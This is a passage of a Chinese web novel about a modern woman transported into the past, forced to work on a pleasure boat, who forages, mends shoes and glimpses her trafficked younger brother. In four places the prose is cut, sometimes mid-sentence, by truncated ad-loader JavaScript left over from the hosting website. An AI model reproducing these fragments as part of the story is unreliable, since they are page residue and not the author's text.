今天不用清洗雅间,有人给她抱来两筐的菜,他们虽进不得灶房,但也不表示他们可以偷懒不用干灶房的活。 劈柴,择菜这些事,基本上也是天天都有。 褚朝云将两筐菜抱去船角一侧,手下利索的干着活,时不时,也会抬头往远处瞥上一眼,那一片的菱角昨晚全部被她搜刮完了,今晚得开辟个新地图出来。 她望风一样有一眼没一眼的往河面上撩,倒是没谁注意她这点小动作。 太远的地方褚朝云去不了,暂时也只能围着这附近打转。 没一会儿,择完了菜,褚朝云抱着筐起身时,目光便又锁定了一片新地方。 要不今晚就去那里试试? 她眉开眼笑的往灶房那去,给她送菜的婆子已经站在附近等了,灶房里时不时飘出股油香味儿,好像是鸭子肉的味道。 多日没沾过油腥的褚朝云下意识咽了咽口水,倒也没敢多停留,转身又往来时路走。 这会儿花船还未到营业时间,刁氏腿上搭着些晾干的衣袍,一手针一手线的再打着补丁。 褚朝云路过时,刁氏刚好扎了一下手,刁氏闷吭一声将指头塞进嘴巴里,没一会儿,又眯缝着眼睛继续穿针引线。 褚朝云看着她像是有老花眼,可刁氏才四十出头,眼睛花的是不是太快了些? 刚走开的褚朝云又退回来,就着没人坐的小杌子坐到刁氏身边,依旧是那副甜甜的笑,“补衣裳呢刁婶子,这日头是扎眼些不好穿线,要不我帮你穿啊?” 她没提刁氏眼睛花这事,刁氏手指一顿,倒是抬眼看了看她。 做工的船娘最忌讳被说“体弱”“闹病”,因为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 提这个会引起管事们的注意,满身病的船工是做不了活的,不中用的人在这条船上也并无人怜惜。 褚朝云是好意,刁氏自然感受得到。 刁氏也没推脱,顺坡下驴的就把针线递给了她,“行,咱俩一块干,出活还能快些,不过就得辛苦你了朝云。” “嗐,没事。” 褚朝云接过针线利索的穿好,递回给刁氏后,便自觉的去针线筐里挑了根细针和一卷黑线。 他们补的基本都是一些劳工穿的衣裳,并不用讲究好看不好看这一层。 褚朝云是现代人,还真没怎么干过缝衣服的活,不过她并没开口要刁氏教她,而是不动声色的瞟着刁氏,放慢动作的跟着学。 褚朝云看得出来,刁氏缝的也很一般,一副对付着能穿就行的意思。 甚好。 正合她的意。 褚朝云捡了件口子破损小的开始练手,胡乱缝了几件之后,倒也算得上是熟能生巧些了。 午时初,又有工人来送饭食,待他们吃过这一顿,花船便要开始营业了。 有些朝代听说一日只会吃两餐,其实大祁一日几餐褚朝云也不是特别清楚,反正他们是一日三餐,不过也可能是管事怕他们身体扛不住,午时才给加了一餐。 且不说两餐也好,三餐也罢,对于送来的饭食,褚朝云算是彻底没脾气了。 顿顿都是一个模子刻出来的——硬馍配菜汤。 褚朝云照旧拿了只馍回暗仓里,然后开着小窗,一边望着船板上来回行走的脚丫子,一边慢慢的将馍上硬壳扒了个干净。 忽一股香风吹来,褚朝云便激动的站起了身,她知晓,这是姑娘们上船来了。 褚朝云将耳朵贴到小窗边,隐约听见李婆子和钟管事在交流。 “新晋的姑娘们什么时候过来?我好找人把房间布置布置。” 钟管事的声音很好分辨,淡淡的,凉凉的,听久了总有一种按部就班的抑郁感。 李婆子对着她倒是热络,尖声回应:“快了快了,再等上几日便好。” 几日…… 褚朝云缓缓坐回床板,扒过的软馍被指头不经意的按出了一个坑洞。 入夜,花船四周的灯火熄了,褚朝云拿着扫帚上去清扫,回来后便躺在床板上养精蓄锐。 脑子里又过了一遍新地图的方位,耐心等到所有人都睡下后,就搭着船梯下了水。 这次的目标明确,也省了许多功夫。 褚朝云不讲究什么凫水姿势,哪个快就来哪个。 三两下靠近那片菱叶,嘁哩喀喳摘了整一兜,而后又悄摸摸地回了暗仓,老套路的收拾一番后,便安心的坐下来开始剥菱角。 今天她虽收获不小,但那一片也没能逃得过被大批采摘的命运,褚朝云估摸着“新地图”的菱角也吃不了两日。 瞅了眼脚凳上的菱角,她打算只吃一半,剩下的留着明晚享用。 想着附近的菱角也快被摘完,褚朝云吃饱之后躺回床板开始琢磨,她得好好思量思量,这水里面,还有什么是能吃的东西。 5. 第 5 章 一早的日头还没升起来,码头处呼呼喝喝的声响就把褚朝云给吵醒了。 或许是这两日改善了伙食的缘故,褚朝云醒的倒比往常稍晚了点,不过她依旧算是起得早的。 窄窗溜着个缝,一丝微光透入进来,她抬手搓搓冻得有些僵硬的脸,一起身,窗子就被她全给打开了。 昨晚吃剩下的菱角被她用油纸细心包好,藏在床板下靠近船壁那一侧,那处日头照射不到,即便是有人进了她的隔间,不趴在地上瞧,也是发现不了的。 油纸是刚来那日“好心人”送的药粉,褚朝云知晓这地方弄点什么都艰难,用光药后,索性就把油纸保留下来了。 码头传来的动静是劳工们搬运物什发出来的,虽然平时也会搬,但总觉得今日开工偏早了些。 那边弄得太响,船娘们被惊醒不少人。 褚朝云受不了和大家抢洗漱房,拍腿叫了声“糟糕”,抓上头巾一溜烟的冲出隔间,猫着小腰脚下迈的飞快,没几下就“蹬蹬蹬”的跑了上去。 没办法,这都是打工合租房子搞出来的心理阴影,为了不用排队,她曾四点钟就跑去浴室洗澡。 后来听同事讲一早起来洗澡容易中风,以后才不敢那么莽了。 褚朝云跑上来时,洗漱房果然空无一人,她痛快的往脸上扑腾几下水,又用发的树枝刷了个牙,才呼着气的走去船侧向码头处远眺。 因船上需求量大,每日流水一样的瓜果蔬菜的确会送来不少,可褚朝云瞧着,今日这肉食倒是更多些。 一名劳工似是搬的热了,直接脱下外穿的袍子,赤膊着扛起半扇鲜猪,喘着粗气的上了船。 褚朝云日日都会往码头看,但日日也都没抱太大希望,见洗漱房门前开始排起队来,她便装作用布巾擦灯笼,想慢慢挪腾着走开。 可就在要转身时,褚朝云忽的瞥见劳工之中的那抹瘦小身影,远远的,她看不太清楚对方的面容。 那少年穿着和其他人一样的袍子,包着素色幞头,明明搬起一只小箱,却又迟疑的没往前走。 他们被关的时候,破屋子里昏暗朦胧,每个人也都弄得灰头土脸,后来她和褚惜兰那些姑娘被带走了,褚郁也被赵大等人推搡着带离了那里。 分别的实在匆忙,褚朝云记不得褚郁长什么样子。 她和少年隔着一道宽阔的码头互相姚望,内心片刻就升腾起难言的悲痛,这具身体是原主的,都说有些习惯会形成肌肉记忆,又遑论是深刻的姐弟情谊呢。 很奇妙的感觉,褚朝云能够确定那小少年就是褚郁,显然,对方也认出了她。 褚郁只有十岁,如果按照现世来算,他连小学都还没毕业。 在原主的记忆中,褚朝云这个弟弟很受家中宠爱,虽生于农户背景的家庭里,但也是没怎么舍得叫他干过农活的。 褚家很疼宠孩子,也从不重男轻女,家中爹娘不止对褚郁溺爱,对褚朝云也是尽最大能力富养着的。 也不知三婶做下的恶事,他们有没有发现。 家中长辈们都还好吗? 褚朝云受这具身体的影响,止不住的惆怅起来,手下擦拭的动作变慢,脚步也没能及时挪开。 远处的少年似是哭了,双手托着箱子不太方便,褚郁就努力低下头偏向一侧,半张脸都抵在衣袖处接连蹭了数下。 忽的,一名大汉朝他后背踢了脚,褚郁没防备的摔倒在地,箱子砸落前方,大汉似是不满他的磨蹭,提鞭就抽。 褚郁受到惊吓,急忙用手护头,而后,一点一点的从地上爬了起来。 褚朝云的布巾不知何时掉落在地,慌乱去捡时,她很艰难的咳出两声。 抬眼时,便看到刁氏蹒跚着向她走来,刁氏用身体阻隔了她的视线,放低些声道:“这边我待会儿会擦,起早风大,年纪轻轻的别站在这里恐呛了风,你瞧瞧,这眼睛都给吹红了。” 褚朝云缓缓呼了口气,起身间用力把眼睛揉的更红,“可不是么,都给我呛咳嗽了。” 刁氏跟她并肩离开这处,褚朝云没敢再往码头瞧。 她想明白了,其实不往那处看是对的,双方也都能少受些罪。 褚朝云调整好心情,随即,唠家常似的问出一嘴:“今天怎么这样热闹?半片半片的猪羔子往上抬,该不会是哪个管事庆生辰吧?” 她自己问出这话都不信,不过是为了挑个由头罢了。 刁氏摆摆手,人身体差了走路就慢些,且二人又躲着管事们的眼睛专往角落去,待到人少的地方,刁氏才道:“今个城里的富户来船上做寿,这才大张旗鼓的张罗开了,估摸这回来的人不能少。对了,你摇橹学的怎么样了?” “能应付了,钟管事亲自考核过的。” 提到有可能得个给客人摇橹的活计,褚朝云倒是多出几份期盼。 整日待在这条船上不亚于坐牢,天长日久她都怕自己疯了,哪怕不上岸,划着小船四处逛逛也是好的。 “你这运道是不错的,往日如你们这般新来的想去摇橹,那都是得排大队等着的。” 刁氏往河面看去一眼,难得露出几分笑意来。 褚朝云眼睛眨眨,又道:“既然是富户要做寿,想来需要准备的菜品少不了,看来婶子今天有的忙了啊。” 褚朝云是没进过灶房的,雅间那头的事情她也不敢打听,因瞧见钟管事叫刁氏给姑娘送饭,她本能认为平日客人们的饭食,也是刁氏去准备。 刁氏听过便无奈的摇头,“我这粗手笨脚的,管事们才瞧不上。” 说罢,抬手指指灶房半开的门,声音压得如蚊蝇般细:“做饭那位可是管事们花重金请来的厨娘,烧得一手好菜,姑娘们平时大都也跟着吃,能用的上我的,那都是特殊情形。” 二人绕着花船走了小半圈,灶房里便传出些香味来,想来,刁氏口中那位厨娘已经开始忙碌了。 褚朝云屏住呼吸想要少闻那香味,闻见又吃不到嘴,难免苦闷。 杂七杂八的活计忙了一个上午,午时领饭,褚朝云闭眼捡了块馍,捏着快速跑回暗仓内歇脚去了。 白日里她是不敢把菱角拿出来吃的,尽管馋的流口水,褚朝云也只能多塞几口馍来填嘴,吃完咽下,把门一关,就着小窗探进来的碎光,闭着眼小憩起来。 如今时节往初秋走,每日也就午时的日头还算温暖,褚朝云努力将身体往日头处靠拢,慢慢的,心口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 窝便被照的热乎了点。 可床板还是凉的。 她现在就好像是一条架在冰天雪地里的烤鱼,火烤的一面烫人,其他面却依旧砭骨的冷。 儿时读《卖火柴的小女孩》那本书时,她还没什么共情之感,可如今,莫说是切身体会也差不太多了。 刁氏下船的机会多,她也不是没想过拜托对方捎点能铺床的物什来,只是她才来了不足半月,没得月例可发,而原主从头到脚也没个值钱的玉佩、首饰之类的。 且不止她没有,褚惜兰和褚郁也一样的兜比脸干净。 这好像不合理吧? 褚朝云猜想,大抵是在他们昏迷之时,身上的银钱物件就被人给摸去了。 至于是三婶,还是那些拐他们的人干的,褚朝云就不得而知了。 她躺在光秃秃的潮湿板子上,煎鸡蛋似的不停翻面,靠着那点光和热,前面晒晒,后背在晒晒,直到人来喊,她才一骨碌爬起来跑出去接着干活。 刁氏毕竟在船上做得久,猜测的分毫不差。 此刻三层雅间被全部包下,二层的公子、小姐们也正拉着几个姑娘在玩投壶。 春叶姑娘似是情绪不佳,只抱着张琵琶靠在外侧轻轻弹唱,春叶的歌声里透着股难掩的幽怨,还没唱几声,钟管事就上去骂人了。 “你是死了老爹还是老娘?人家做寿你嚎什么丧?” 钟管事疾言厉色的轻吼几声。 褚朝云再听时,那曲调便换成了欢快的。 褚朝云和几名年岁小些的船娘站在一侧等,如同刁氏这般上了年纪的,钟管事一向不许他们再去摇橹。 耐心等待许久,陆陆续续的几名客人从木梯上下来,钟管事就着人数和情形便安排开了。 有些客人爱带着姑娘同乘,有些则抱着婴孩携相公同游,也有那喜欢吟诗作赋的年轻公子不喜被打扰,便只配个船娘帮忙摇橹。 褚朝云分到的客人是位年纪稍大的老爷子,也是这富户里的当家,这家的夫人死的早,老爷子就点了春叶陪同说说话。 游河的小船不大,最多就只能承载三名成年人并一孩童。 褚朝云先一步下去将这家老爷子扶到小船,接着就去做自己的准备工作。 花船上站着的春叶姑娘人如其名,头簪碧色珠钗,身着一套天青色绣球花图样的褙子,下配同色长裙,就连半露的绣鞋色泽也是青翠娇嫩。 春叶下来时思绪有些恍惚,一脚踩空差点摔进河里,褚朝云眼疾手快拽住她,并低声道了句“小心”。 春叶对着她点了下头,而后就安静坐到一边。 见二人都安顿好后,褚朝云走去船尾,侧对向那老爷子微微一笑,爽朗问道:“敢问老爷想看这蕤河的哪处风景?” 老爷子似是对这条河的风景兴致不高,下来,不过是消消食吹吹风,客人穿的厚实保暖,和只有一件薄料子衣裳的褚朝云可不一样。 对方轻摆下手,语调平缓:“你看着走吧,随便转转就好。” “好嘞,那您坐稳当了!” 褚朝云还真有想去的地方。 她起手慢划,心说,没准今晚睡觉,她就不用再躺那冷板床了。 6. 第 6 章 午后的河面像填满碎光的画卷,一只小船沿着水波荡漾其上,比桨大上一些的橹板似鱼尾般在水下来回翻腾。 在上船之前,褚朝云习惯性的检查了一下橹绳,橹绳用的都是结实度极高的粗麻绳,平日少有破损。 但褚朝云毕竟还是个新手,不得不小心些,尤其是再听过“曾有船娘因橹绳断裂掉入河中丧命”的事后,她就更要谨慎点了。 也正因为她是新人,安排完其他事宜的钟管事,第一时间就站到了她身侧。 见褚朝云拽着橹绳细细的看,鼻腔还轻哼了声:“怎么?害怕了?” 褚朝云嘻嘻一笑,回头看着她小声回:“嗯,我可惜命了。” 话毕,收到了钟管事一记白眼。 此刻,褚朝云一板一眼的摇橹,动作不紧不慢,承载了三人的小船虽吃力些,可她一派淡然的面色,瞧着倒仿佛是个老手。 褚朝云当然是装的。 摇橹对她来说还是挺难学的,她可没忘第一次去钟管事那里考核时,橹心从橹球处多次滚落,小船原地转了数下,转的钟管事一边反胃一边冲着她大骂不休。 这事对她来说是天赋失灵的,褚朝云有的只是耐心和耐力,为了学好摇橹,她可是下了大功夫的。 在这船上做工的人,个个都活的压抑。 褚朝云也会感叹命运不公,为了不崩心态,她一点一点学会了苦中作乐。 小船在她的掌控下渐入佳境,褚朝云载着老爷子和春叶宛若游鱼穿梭在水岸旁,春叶伸手撩了下挺拔笔直的荷叶,又瞥了瞥穿生在其中的粉嫩荷花,面上总算多了几分笑模样。 这船行的说是漫无目的,但也不算没有规划的瞎划。 借着机会,褚朝云将小船越划越远,穿过荷花群,便拐了个弯往中央行去。 她其实很想往外走走,最好离着码头远些,尽管她不能靠着凫水游到这么远的地方来,她也想知道这蕤河之外,到底还有些什么。 船行的足够远时,褚朝云回了下头,码头的花船依稀不见,算是彻底脱离了管事们的视线。 与此同时,她和春叶二人似乎同时呼出口气,顿觉这处的空气格外清新。 褚朝云几次回头去看那花船,转头回来时,便发觉要和相对的船只撞在一块。 来人也是游河的客人,但那摇橹的船娘褚朝云虽有点眼熟,但还叫不上来名字,似乎住的和她有点远。 那船娘眼见二船越发挨近,惊吓的小脸都白了。 她的技术只算一般,平日宁愿多干些杂活,也不爱揽这摇橹的活计,若非客人要求往远看看,她是断断不想来这里的。 所以她秉着速战速决的“战略”,划的也是既匆忙又快。 褚朝云也怕出状况,情急之下想起教授人告诫过她的要领,“推”橹使多大力,“板”橹便用多大力。 褚朝云紧握橹,额角偷渗出些汗珠子,她凭借手感和猜想,尝试放松了“推”的动作,但用足了劲儿去“板”,来回几次,还真瞎猫碰死耗子的错开了两条船只。 对船的船娘恢复些脸色,朝她投来感激。 未免客人看出她和那船娘的慌乱回去投诉,褚朝云故作打岔的跟那船娘打起了招呼:“那边的风景好吗?” 那船娘微一怔,明白了她的意思,也忙道:“有芦苇丛,漂亮的很!” “我还没见过芦苇丛嘞!” 褚朝云表现出十二万分的惊讶,偏头用目光去征询老爷子的意见,老爷子虽一身绫罗绸缎,但并无门缝里瞧人的高傲。 生意人通常精明,老爷子知晓她的意思,便摆摆手道:“那就去转转。” 褚朝云热络的应了声,连手下的力气都不自觉大了些。 自从得知要摇橹,她便起了这样的心思,她想去割点芦苇回来,所以出发前提前从仓库取了割刀。 这一路行来,她的视线一直在寻找蕤河哪处有芦苇丛,没想这随便搭了句话,倒有意外之喜。 芦苇羽翼偏轻盈,其上光滑如白绒,在买不起棉被的情况下,这东西勉强也能解些燃眉之急。 褚朝云按照那船娘所说,撑船拐了个弯往分叉处走,没一会儿,果真就瞧见了紧贴河岸的大片芦苇荡。 金灿灿的芦苇迎风摆动,几只鸟雀正立在上头高展歌喉。 这块区域是有些稍凉的风,褚朝云脚踩在船板,便觉那风直往脚底板里钻。 她缓缓停下,看了眼老爷子和春叶,“老爷,这处风硬,即便此刻回返,脚下也是要遭罪的,不如我割些芦苇扑在船板,你们踩在上面保保暖,回程也能舒服些。” 说话时,春叶正往下拉裙儿想护住脚,一听便惊喜起来:“这主意可真是好!” 她说着就去看那老爷子的态度,这老爷子虽点了她来陪同,可这一路倒是连半句话都没有,而春叶本就厌烦曲意逢迎这一套,就也装作发呆的不肯出声。 眼下要等客人发话,她表情倒显出几分虚来。 老爷子没看他们,像是不怎么冷,可也浅显的抬了抬下巴,示意他们自己做主。 褚朝云和春叶相视一笑,春叶便想起身帮忙,褚朝云怕两个人动作太大引发船身乱晃,就自顾自的拿起割刀:“春叶姑娘坐着就好,前阵身子不是还不太爽朗么,这活我一人干得的。” 春叶讶然,随即心中多了几分暖融。 同为女子,褚朝云愿对他们和善些,但她可是记了三婶的仇,有朝一日若能逃离回乡,她会替原主扒了三婶的皮。 割刀被磨得锋利,这些工具平时也有专人养护,褚朝云用的顺手,最初的几下手有些生,可慢慢的,她就适应了。 芦苇被成片割下,只取最柔软的部分,转眼间,便铺就成一块厚厚的毯子状。 春叶迫不及待地踩了上去,因为铺的够厚,脚下一使力,竟还像是多了几分弹性似的。 她表情鲜活起来,撑着抹欢快的笑:“真舒服啊!” 那老爷子看这两名女子不停地笑,情绪也受到感染,便也把双脚放上去感受了下,并难得的说了句:“还真是个有趣的主意。” 褚朝云脚下没垫芦苇,因为那样不好使力,但她依旧有说不出的开心,毕竟回到花船,这些芦苇可就都是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的了。 因为踩着舒适,老爷子也不急着回去了,吩咐褚朝云往水中央又行片刻,然后才道:“看的也差不多了,这就回西码头吧。” 西码头? 因那码头上方的匾是背对花船,正对岸口,加之褚朝云上船那日又是被押过来的,她确实没什么机会去看那块匾。 不过现下她知道了,原来这花船停靠的码头名唤“蕤河西码头”。 既然西码头都有了,那大概也还有“北码头”“南码头”“东码头”吧? 褚朝云自娱自乐的脑补着,寻思完,内心便不免后怕了几分。 通过来船上半月,褚朝云发现这座西码头似乎是被花船的管事们给承包了的,花船比平常的酒楼更鲜活,除了有姑娘们待客,提供美食和娱乐项目,偶尔还会请戏曲班子或说书先生来演一场。 除了这样一艘精致又极能敛财的花船生意,余下,就只剩附近停靠在岸的游河小船。 也就是说,生意都被他们一家独霸了。 犹记李婆子那日曾说过一句,“到了这蕤洲山高皇帝远”,这伙人如此猖獗,难不成—— 褚朝云没敢往深处想,只庆幸她耍小聪明自伤那回,李婆子没在一气之下要了她的小命。 回返之后,褚朝云请示过钟管事,就高高兴兴的抱着那些芦苇回了自己的隔间。隔间里的气味依旧不太好闻,但却丝毫影响不了她的好心情。 褚朝云哼着不知名的小调,捡着被老爷子脚踩过的芦苇铺在最底层,之后便一片一片的往上续。 不得不说,她割回来的芦苇的确不少,床板续了老高,还剩下一些无处安放,就集体被她塞到脚凳下边了。 待到铺着的芦苇躺实了,她还可以再往上续新的。 褚朝云算盘打得极好,弄完自己的小床就立刻躺在上边试了试,“还真和春叶他们说的一样,确实挺舒服的。”她美美的闭上眼睛,自言自语了一句。 窄道里,有些重的脚步声缓缓响起,像鞋底剐蹭木板,褚朝云听出这是刁氏,就起身探头往外看。 她第一次遇上刁氏时,对方的腿脚还好端端的,褚朝云对刁氏走路越来越困难这事,其实是有点想不通的。 刁氏不知从哪弄回来些碎布条,像是正要往自己的隔间进。 见褚朝云看她,才笑着走进来,撩一眼外间没什么人,便小声道:“我这腿是老毛病了,等下个春天一到,就能好了。” 褚朝云听说过有些老病根,确实是上秋就容易犯。 她邀刁氏坐到床板上试试,然后笑眯眯的说:“怎么样舒服不?我这还剩了些芦苇,您要不要拿回去铺床?” 刁氏失笑的看着她,“不用了,我有棉被铺盖的。” 褚朝云恍然,也觉得自己傻了,刁氏是自愿上船的,管事们待她必然不似其他船娘,且刁氏干的久又能下船,一些生活必需品显然也早就置办好了。 二人正说话,便听外面清洗小船的船娘不由得惊叫了声:“哎呦天杀的,好吓人的鼻涕虫!” 褚朝云听罢不禁错愕:水泡子里哪来的鼻涕虫?? 7. 第 7 章 褚朝云和刁氏出来瞧动静时,正见方才嚷嚷的船娘一脸菜色的半蹲在旁,似是既怕那小船里的“鼻涕虫”,又怕自己冒失的吼叫引来管事。 除了褚朝云和刁氏,往来劳作的船娘们并不敢靠近,更是连好奇心都不敢有。 大家低眉顺目的忙自己手里的活,非要往这边走,也会巧妙的绕开他们。 刁氏瞥去一眼似是不预备管,她只是个做工的,也自知没那多管闲事的能力。 可褚朝云看向那小船的目光却有些奇异,船是一样的没错,奇异的,是掩藏在船壁上的东西。 毛豆般大小,色泽偏绿,旁侧的豁口边缘,拉丝样明亮的一层似果冻般顺滑。若不是船壁那侧乱七八糟挂着些荷花,这小东西,许是早就滑不溜丢的落回了水中。 褚朝云原以为自己看错了,于是她松开挽着刁氏的手,急吼吼的窜去小船旁,一伸手带着点技巧的将那水生植物抓在手心。 她这么一抓,方才惊叫过的船娘便又不受控的叫出一声。 褚朝云偏头看那船娘,顺口说道:“这没什么可怕的。”话毕,一个不留神,“鼻涕虫”自手心滑脱,褚朝云还是没留住它。 褚朝云方才看的一清二楚,那根本不是什么鼻涕虫,而是一种营养价值连城的水生植物——莼菜。 见“鼻涕虫跑了”,那船娘才把心放回了肚子里,并疾跑过来,抓着褚朝云的手就往河水里扎,“你年纪小不识得,被那种虫给咬到,可是会出人命的!” 褚朝云:“……” 历史上备受乾隆爷喜爱的莼菜,竟被这个时代的人误认为虫? 褚朝云也是开了眼了。 她还以为蕤洲人民靠水吃水,水里那点东西有她认不全的,也没百姓们认不全的。 现在看来,哪个时代都有知识盲区。 褚朝云吃了几日菱角自然也想换换新口味,可河里能生吃的实在不多,其实这几日夜晚下河寻食物时,她也看到过不少能认得出的植物,只是那些东西,最起码也得水煮一下才敢食用。 洗了个手的功夫,褚朝云脑子里已经出现了千百种莼菜的做法。 褚朝云起身甩甩滴水的手,刁氏便低声唤她:“朝云,过来帮我做点活。”说着,刁氏就一瘸一拐的往暗仓处走。 褚朝云明白,方才动静闹得有点大,刁氏是在保护她,她自然承这个情。 她迈步跟上刁氏下到暗仓,来了刁氏的隔间坐。 正如妇人说的那般,刁氏的床板上铺了褥子,褥子上还叠放着棉被,棉是最廉价的那种,虽质地偏沉,但也好过她睡的光板床。 刁氏见她手下使力在被褥上按,便叹了声:“先攒些月银吧,到时候我想办法下船给你弄一床来,这秋一过,便要入冬了。” 几句话虽听着没什么,实则却惹人伤感。 在这条花船上,总有人没办法弄到御寒之物,那样便过不了冬。 褚朝云收回手,低低“嗯”了声,再抬头时,依旧是副笑颜如花的样子,“刁婶子要做什么活?” 这一说,刁氏才记起那随意找过的借口,她拢了拢掉落的头发,不算黑的头发里掺着些银白,“有时下船,我便会去绸缎铺子买些碎布,都是些零散的,不值几个钱。” 说着,她低头瞟了眼褚朝云漏风的草鞋,“你挑些能用上的,拿回去补补鞋吧。” 褚朝云没想到刁氏会如此为她着想,一时间有些呆。 这些碎布的确不值什么钱,可船娘的月例少的跟珍稀物种似的,她还真下不去手白嫖。 思来想去,褚朝云起身说了句“您等我一下”,便脚下飞快的奔回自己隔间,小心的拆开油纸包,拿出一半菱角来,又偷偷走了回来。 刁氏看到那些菱角时,难免惊讶。 褚朝云笑着将菱角塞到棉被下,挤眉弄眼道:“方才带着客人游河时顺手摘的,我那还有些,这些您留着悄悄吃,还是别被发现了才好。” 她没傻到和刁氏实话实说,倒不是信不信任的问题,毕竟小心驶得万年船。 而且就算刁氏吃菱角时不慎被谁发现,这样的说辞也不会令旁人眼红。 刁氏知道这些菱角来之不易,本推脱着不想收,奈何褚朝云坚持,“您对我好,我心中感激,咱们有来有往,东西我也收的安心些。” 她说着,挠了挠头,进而尴尬道:“而且除了布条,我还有其他事要请教您,怎么说也是我赚了的。” 这句话把刁氏逗得想笑。 二人弯着眼眸对视片刻,褚朝云才讲出所求:“简单的缝补我还做得,但这补鞋子是个精细活,还请刁婶子指点指点我。” 那日她帮刁氏给劳工们补衣裳时,刁氏就看出她是个生手,又见褚朝云没声张,而是不露声色的偷学,便觉这丫头还是有点机灵劲的。 刁氏轻点下头,算是应承。 取出针线后,她将小窗往上抬起些,借着一点光,压着声的开始教褚朝云补鞋的技巧。 刁氏这里也没油灯,褚朝云不太了解这个时代的物价,但也猜到那油灯的价格定是有些贵的。 休息过后他们还要接着做活,褚朝云学了一半,刁氏叫她晚些时候再来学。 晚点,厨娘要做红薯羹,婆子提来两筐新鲜红薯,褚朝云就依着要求拿去一边洗了个干净,又依次削了皮才算交差。 那厨娘出来进去皆戴着帷帽,帽檐那侧撩起,发尾部是放下的,来来回回一阵风似的,还真没谁看清她长什么样子。 褚朝云对她的样貌不怎么关心,倒是忍不住去想那红薯羹是个什么味道。 灶房帮工完成,褚朝云又拿着布巾去擦灯笼,之后就到了晚饭,一只馍馍攥在手里,褚朝云疾步回了隔间。 趁着日头尚未落山,她抬起小窗,借着光低头补草鞋。 她的脚趾头被吹了好些时日,表面硬硬的一层,又红又糙,若不是晚间有机会沾点水润润,她都怕会干裂了。 褚朝云按照刁氏教的先比量布条,寻到几片合适的,就打算往鞋子上缝。 手下动作刚起,她微微偏头,看到堆在脚凳下的芦苇后,眼眸一亮,如果往布条里絮一些芦苇,穿起来会不会更暖和? 不用想也知道“会”。 褚朝云匆匆起身跑去刁氏那嘀咕了几声,刁氏赞许的点点头,又教了她如何絮芦苇的技巧。 月升日落,即便花船红灯亮起,光线也黯淡的不适合再缝补了,褚朝云放下才弄了一点的活,把剩下的菱角都拿出来吃。 放了一日的菱角,味道不如刚采摘的鲜美,但总要好过手里的馍馍。 今晚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来花船的客人不多,雅间的乐声时有时无,褚朝云吃饱之后就躺到床上歇息。 有芦苇隔着,舒适度直线上升。 不知不觉,人就睡着了。 再醒来时花船已是歇业状态,管事和姑娘们都下了船去,只留两名劳工在码头看守。 褚朝云缓缓起身,心里还惦记着没补完的鞋子,思量片刻,她索性拿着针线去了船尾继续缝补。 今晚吃了菱角暂时不饿,她准备停一日再下水去。 红灯笼虽已熄灭,但此时,河面上落满了银灿灿的光,天上的星子细细密密,也不知对“密闭恐惧症”的人来说,这到底是美的,还是令人生畏的。 月光算是亮的,勉强也能叫她看清手里的针和线。 褚朝云盘腿坐在船板,一点一点开始缝补,一只补好再换另外一只,虽然期间手指被扎了数次,但看着缝隙都被填满的鞋子,褚朝云还是蛮欣慰的。 甚至还有点莫名的成就感。 起身往暗仓走时,她不由自主的停下来看向灶房,嗅着红薯羹残留的一丝味道,褚朝云快步下了木梯。 这一晚褚朝云终于睡了个舒服的觉,一早醒来蹬上鞋出门洗漱,脚下也是从未有过的暖和。 会变好的。 她用清水扑了几下脸,整个人都清爽起来。 今早又轮到她收拾雅间,只是分活时,褚朝云发现刁氏没在。 缺了一个人干活,并没谁甘愿主动来填这个空,除了她和一个上了岁数的船娘,其余人皆躲得他们老远。 钟管事本想随便指个人来顶,褚朝云便先开口,“要不二三层就我来清洗吧,只要午时多给我半个时辰歇息就成。” 钟管事目光不善的看着她,满眼都是“你还挺会见缝插针”的意思。 褚朝云眨巴眨巴眸子,提上木桶就往上走,钟管事倒也没说什么,算是默许了。 收拾完雅间下来时,褚朝云才听到其他船娘议论,据说昨晚春叶姑娘又饮多了酒,一早便胃痛的厉害,好像还吐过几回,刁氏就赶着早的去给她送热粥了。 这句说完,又捡另一句来说,通常若是赶上要清洗雅间,刁氏都会把煮好的吃食给赵大,由赵大派人送去,并不用次次都叫她下船跑腿。 而今早要搬的货物也不多,好些个劳工都闲着没事。 “刁氏可真是越老越精,偷着摸着的躲活!” “收拾雅间是大活,我每做一次老腰都要痛上几日,她不能为了自己松快,就把咱们往死里逼啊。” 言语间都是不满,不过顾忌着管事们还在船上,而不敢大声张扬罢了。 可这话褚朝云听着却觉得不太对,自打和刁氏接触以来,她就没见过刁氏仗着那点待遇欺负过谁,就算没特殊对待过哪个,也远谈不上“逼迫”那么严重。 她正想的出神,就见刁氏提着一篮子衣裳上了艞板。 碧色的衣裳看着眼熟,大抵是春叶穿脏的,衣裳质地轻薄,提着并不会重,可刁氏上船的动作却越发吃力了。 褚朝云眼眸露着些诧,忙走去将篮子接过,如无其事的搀了搀她,“最近风大,吹得这艞板都跟着晃,刁婶子可小心些,别吹飞了春叶姑娘的小裙儿。” 她说着一脸的笑,刁氏借着她的动作迈上来,感激的看了她一眼。 8. 第 8 章 知道这是要洗的,褚朝云便没把篮子还回去,瞅着刁氏一点一点下了木梯,目测不会有什么问题,她就提了只木盆去一旁洗春叶的衣裳。 洗好晾上挂绳后,送午饭的工人刚好过来,褚朝云顺手领了两份,拿上回暗仓去找刁氏一块吃。 进门时,正发现刁氏在捏自己的小腿,刁氏将双腿搭在脚凳横栏处,看着似乎有些无力。 褚朝云状若不闻的把吃食放在一旁,边扒着自己手里馍馍的硬壳,边坐下说:“衣裳洗好了,那上面的秽物也都清理干净了,听说春叶姑娘胃又不舒服是么?李婆子当真就一点都不管吗?” 小窗渗入冰凉的风,褚朝云打了个哆嗦,这风简直比李婆子那张脸还凉薄。 褚朝云问完先是叹了一口气,目光下意识转到刁氏浮肿的小腿上。 眼前便有一个实例,她怎么还跋山涉水的去想春叶。 话毕,狭窄的隔间静谧下来,只听到细微的咀嚼声,刁氏喝完汤打算睡会儿,褚朝云还有活要干,就帮忙收拾了空碗,带出去了。 